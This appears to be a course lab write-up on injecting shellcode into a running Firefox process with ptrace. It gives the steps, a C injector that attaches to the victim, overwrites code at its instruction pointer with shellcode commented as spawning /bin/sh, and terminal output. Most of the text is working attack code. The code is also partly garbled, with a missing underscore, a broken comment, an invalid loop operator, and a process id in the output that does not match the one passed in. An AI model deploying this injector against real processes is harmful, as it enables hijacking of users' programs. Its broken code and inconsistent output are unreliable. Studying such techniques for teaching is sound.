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PROCESS CODE INJECTION

Aim:

To do process code injection on Firefox using ptrace system call

Algorithm:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE_ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE_DETACH

Program Code:

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# include <stdio.h>//C standard input output
# include <stdlib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types
# include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs
//The shellcode that calls /bin/sh
char shellcode[]={
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};
//header for our program.
void header()
       printf("----\n");
//main program notice we take command line
options int main(int argc,char**argv) {
       int i,size,pid=0;
       struct user_regs_struct reg;//struct that gives access to registers
                                                               //note that this regs will be in x64 for me
                                                               //unless your using 32bit then eip,eax,edx etc...
       char*buff;
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header();
  //we get the command line options and assign them appropriately!
  pid=atoi(argv[1]);
  size=sizeof(shellcode);
  //allocate a char size memory
  buff=(char*)malloc(size);
  //fill the buff memory with 0s upto size
  memset(buff,0x0,size);
  //copy shellcode from source to destination
  memcpy(buff,shellcode,sizeof(shellcode));
  //attach process of pid
  ptrace(PTRACE_ATTACH,pid,0,0);
  //wait for child to change state
  wait((int*)0);
  //get process pid registers i.e Copy the process pid's general-
  purpose //or floating-point registers, respectively,
  //to the address reg in the tracer
  ptrace(PTRACE GETREGS,pid,0,&reg);
  printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);
  //Copy the word data to the address buff in the process's memory
  for(i=0;i\leq size;i++)
  ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
  //detach from the process and free buff memory
  ptrace(PTRACE DETACH,pid,0,0);
  free(buff);
  return 0;
}
Output:
[root@localhost ~]# vi cns.c
[root@localhost ~]# gcc cns.c -o cns
[root@localhost ~]#ps -e|grep firefox
           00:00:54 firefox
2836?
[root@localhost ~]# ./cns 2836
----Memory bytecode injector-----
Writing EIP 0x6, process 1707
[root@localhost ~]#
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Result:

